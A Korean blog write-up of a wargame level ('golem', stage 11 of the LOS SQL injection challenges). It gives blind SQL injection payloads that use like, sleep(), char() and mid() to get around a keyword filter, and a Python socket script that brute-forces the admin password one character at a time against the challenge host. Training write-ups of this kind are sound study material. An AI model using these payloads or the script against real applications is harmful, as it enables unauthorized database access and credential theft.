[los - SQL injection] golem ( 11단계 )
[ 풀이과정 ]
golem은 if(($result['pw'] && ($result['pw'] == $_GET['pw'])) 조건을 만족해야 문제가 풀린다.
여기 문제에서는 prob _ . ( ) or and substr( = 기호가 preg_match()를 통해서 필터링 되어있다..
보통 참/거짓을 확인할때 1=1 쓰지만 '=' 기호는 쓸수 없기 때문에 like, sleep(), char() 등을 이용해서 참/거짓을 확인한다.
select id from prob_golem where id='guest' and pw='' || sleep(10) #'를
이용해서 참/거짓을 통한 인젝션 가능성을 확인을 했다.
select id from prob_golem where id='guest' and pw='' || char(49,61,49) #'를
이용해보니 char() 함수를 이용한 '=' 문자 또한 사용이 가능했다.
( sleep(10)을 이용해서 SQL injection 가능성을 확인했다 )
( 마찬가지로 SQL injection 가능성을 확인할 수 있는 방법은 여러가지가 있다.. )
select id from prob_golem where id='guest' and pw='' || id like 'admin' && length(pw) like 8 #'을
이용해 pw의 길이가 8인걸 알아냈다.
select id from prob_golem where id='guest' and pw='' || id like 'admin' && ascii(mid((select pw),1,1)) like 56#'를
이용해서 pw를 하나씩 찾는데 mid의 위치를 나타내는 두번째 인자값과 비교값을 변경해가면서 비교해주면된다.
여기서도 전에 만들어둔 python 자동화 프로그램을 조금 수정해서 이용했다.
11단계 클리어~~~
golem.py
from socket import *
from struct import *
for i in range(1,9):
ch = 48
while True:
#if 58 <= ch <= 64: ch + 1; continue
#if 91 <= ch <= 96: ch + 1; continue
if ch > 122: break
sock = socket( AF_INET, SOCK_STREAM )
sock.connect( ('104.27.174.42', 80) )
request_header = 'GET /golem_39f3348098ccda1e71a4650f40caa037.php?pw='
request_header += '\' || id like 'admin' %26%26 ascii(mid((select pw),'
request_header += str(i)
request_header += ',1)) like' + str(ch) + ' %23'
request_header += ' HTTP/1.1\r\n'
request_header += 'Cookie:__cfduid=d5e9e8bb92276949665b5620612504c8b1506175186;
PHPSESSID=mm7o8auagp6bjoq7nc2d06uum7\r\n'
request_header += 'Host:los.eagle-jump.org\r\n'
request_header += '\r\n'
sock.send( request_header.encode() )
response = sock.recv(65535).decode()
if 'Hello admin' in response:
print( chr(ch), end='' )
sock.close()
break
ch = ch + 1;
sock.close()
'워게임 > LOS' 카테고리의 다른 글
[los - SQL injection] bugbear ( 13단계 ) (0) | 2017.09.24 |
---|---|
[los - SQL injection] darknight ( 12단계 ) (0) | 2017.09.23 |
[los - SQL injection] skeleton ( 10단계 ) (0) | 2017.09.23 |
[los - SQL injection] vampire ( 9단계 ) (0) | 2017.09.23 |
[los - SQL injection] troll ( 8단계 ) (0) | 2017.09.23 |
댓글